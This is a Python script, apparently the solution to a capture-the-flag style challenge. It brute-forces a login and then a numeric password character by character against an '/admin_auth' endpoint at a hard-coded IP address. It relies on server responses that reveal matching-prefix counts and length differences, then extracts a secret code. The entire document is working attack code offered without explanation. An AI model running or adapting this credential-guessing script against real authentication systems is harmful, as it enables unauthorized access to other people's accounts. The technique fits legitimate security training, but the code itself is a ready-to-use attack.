import requests import re import string def brute_login(login_len, password): login = '' for _ in range(login_len): for char in login_alphabet: resp = requests.post(url, data={ 'login': (login + char).ljust(login_len), 'password': password }) try: if int(re.findall(login_brute_pattern, resp.text)[0][1]) > len(login): print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})') login += char break except IndexError: print(f'Подобрал следующую букву логина: {char} ({len(login) + 1}/{login_len})') login += char break else: print('Ни один из символов алфавита не подошел.') quit() return login def brute_password(pass_len, login): password = '' for _ in range(pass_len): for char in password_alphabet: resp = requests.post(url, data={ 'login': login, 'password': (password + char).ljust(pass_len) }) try: if int(re.findall(password_brute_pattern, resp.text)[0][2]) > len(password): print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})') password += char break except IndexError: print(f'Подобрал следующую букву пароля: {char} ({len(password) + 1}/{pass_len})') password += char break else: print('Ни один из символов алфавита не подошел.') quit() return password url = 'http://213.178.59.123:8000/admin_auth' login_alphabet = string.printable # Судя по тому, что возвращает страничка, когда введен правильный логин # и в пароле правильное количество знаков, в пароле есть только цифры. password_alphabet = string.digits login_len_pattern = re.compile(r'(\d+?)\) У актуального логина\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL) pass_len_pattern = re.compile(r'(\d+?)\) У актуального пароля\((\d+?)\) и текущего разница в кол-ве (\d+?) знаков', re.DOTALL) login_brute_pattern = re.compile(r'(\d+?)\) У логина совпадают перыве (\d+?) значения\(ий\)', re.DOTALL) password_brute_pattern = re.compile(r'(\d+?)\) У пароля \((\d+?)\)совпадает перыве (\d+?) цифр\(ы\)', re.DOTALL) resp = requests.post(url, data={'login': '123', 'password': '123'}) login_len = int(re.findall(login_len_pattern, resp.text)[0][2]) + 3 real_login = brute_login(login_len, '123') print(f'Логин подобран: {real_login}') resp = requests.post(url, data={'login': real_login, 'password': '123'}) pass_len = int(re.findall(pass_len_pattern, resp.text)[0][2]) + 3 real_password = brute_password(pass_len, real_login) print(f'Пароль подобран: {real_password}') resp = requests.post(url, data={'login': real_login, 'password': real_password}) code = re.search(r'Ты молодец, возьми с полки пирожок, секретный код (.+?)\b', resp.text).groups()[0] print(f'Секретный код: {code}')